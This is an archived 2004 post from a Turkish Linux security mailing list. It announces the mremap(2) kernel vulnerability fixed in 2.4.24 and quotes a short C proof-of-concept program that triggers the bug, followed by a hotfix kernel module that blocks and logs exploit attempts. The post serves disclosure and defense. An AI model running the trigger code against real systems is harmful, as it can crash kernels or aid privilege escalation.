[linux-guvenlik] Kernel Açığı ( 2.4.24 Release Edildi )

---------

From: S.Çağlar Onur (caglar.onur@tubitak.gov.tr)
Date: Wed 07 Jan 2004 - 07:58:27 EST

  • Next message: Burak DAYIOGLU: "[linux-guvenlik] teknik yazar (ing. technical writer) ariyoruz"

    Kernel'in bellek yönetim kodunda, mremap(2) sistem çağrısındaki hatalı
    sınır kontrolünden kaynaklanan bir güvenlik zayıflığı bulundu.
    mremap sistem çağrısı, sanal bellek alanlarının adreslenebilir
    boşluklarını taşımak ve boyutlarını değiştirme imkanı sağlıyor

    Duyurunun tamamı: http://isec.pl/vulnerabilities/isec-0013-mremap.txt"

    Kaynak: http://www.fazlamesai.net

    Açığı Denemek İçin;

    #include <asm/unistd.h>
    #include <sys/mman.h>
    #include <unistd.h>
    #include <errno.h>

    #define MREMAP_MAYMOVE 1
    #define MREMAP_FIXED 2

    #define __NR_real_mremap __NR_mremap

    static inline _syscall5( void *, real_mremap, void *, old_address,
    size_t, old_size, size_t, new_size,
    unsigned long, flags, void *, new_address );

    int main( void )
    {
    void *base;

    base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
    MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

    real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
    (void *) 0xC0000000 );

    fork();

    return( 0 );
    }

    Açığı gecici olarak çözmek için gerekli kernel modulu;

    /*
     * Hotfix for mremap() vulnerability in <=2.4.23 and other kernels.
     *
     * (C) Copyright 2004 Wojtek Kaniewski <wojtekka@irc.pl>
     * GPLv2, NO WARRANTY OF ANY KIND.
     *
     * gcc -Wall -O3 -fomit-frame-pointer -c mremap.c
     */

    #include <linux/autoconf.h>
    #ifdef CONFIG_SMP
    #define __SMP__
    #endif

    #define MODULE
    #define __KERNEL__
    #include <linux/kernel.h>
    #include <linux/module.h>
    #include <linux/types.h>
    #include <linux/sched.h>
    #include <linux/errno.h>
    #include <linux/mman.h>
    #include <asm/unistd.h>

    #ifdef MODULE_LICENSE
    MODULE_LICENSE("GPL");
    #endif

    extern void *sys_call_table[];
    static unsigned long (*old_mremap)(unsigned long, unsigned long,
    unsigned long, unsigned long, unsigned long);

    static unsigned long new_mremap(unsigned long addr, unsigned long
    old_len, unsigned long new_len, unsigned long flags, unsigned new_addr)
    {
            if ((flags & MREMAP_FIXED) && !new_len && (new_addr != addr)) {
                    printk("possible mremap() exploit attempt. uid=%d, comm=\"%.100s\"\n",
    current->uid, current->comm);
                    return -EPERM;
            }

            return old_mremap(addr, old_len, new_len, flags, new_addr);
    }

    int init_module()
    {
            unsigned long flags;

            save_flags(flags);
            cli();

            old_mremap = sys_call_table[__NR_mremap];
            sys_call_table[__NR_mremap] = new_mremap;
      
            restore_flags(flags);

            return 0;
    }

    void cleanup_module()
    {
            unsigned long flags;

            save_flags(flags);
            cli();

            sys_call_table[__NR_mremap] = old_mremap;

            restore_flags(flags);
    }

    Saygılar

    -- 
    S.Çağlar Onur <caglar.onur@tubitak.gov.tr>
    Türkiye Bilimsel ve Teknik Araştırma Kurumu
    Linux is like living in a teepee. No Windows, no Gates and an Apache in house!
    -- Attached file included as plaintext by Ecartis --
    -- File: signature.asc
    -- Desc: This is a digitally signed message part
    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.2.3 (GNU/Linux)
    iD8DBQA//AJv6h1Ljnt3P/8RAiEhAKDUpUvIfhj36Kq4oMXW8GMeDrPGOQCgkt1N
    bbKiPYJJENkWU1NoBpeZFKI=
    =4sbV
    -----END PGP SIGNATURE-----
    

  • Next message: Burak DAYIOGLU: "[linux-guvenlik] teknik yazar (ing. technical writer) ariyoruz"

    ---------

    Bu arsiv hypermail 2.1.6 tarafindan uretilmistir.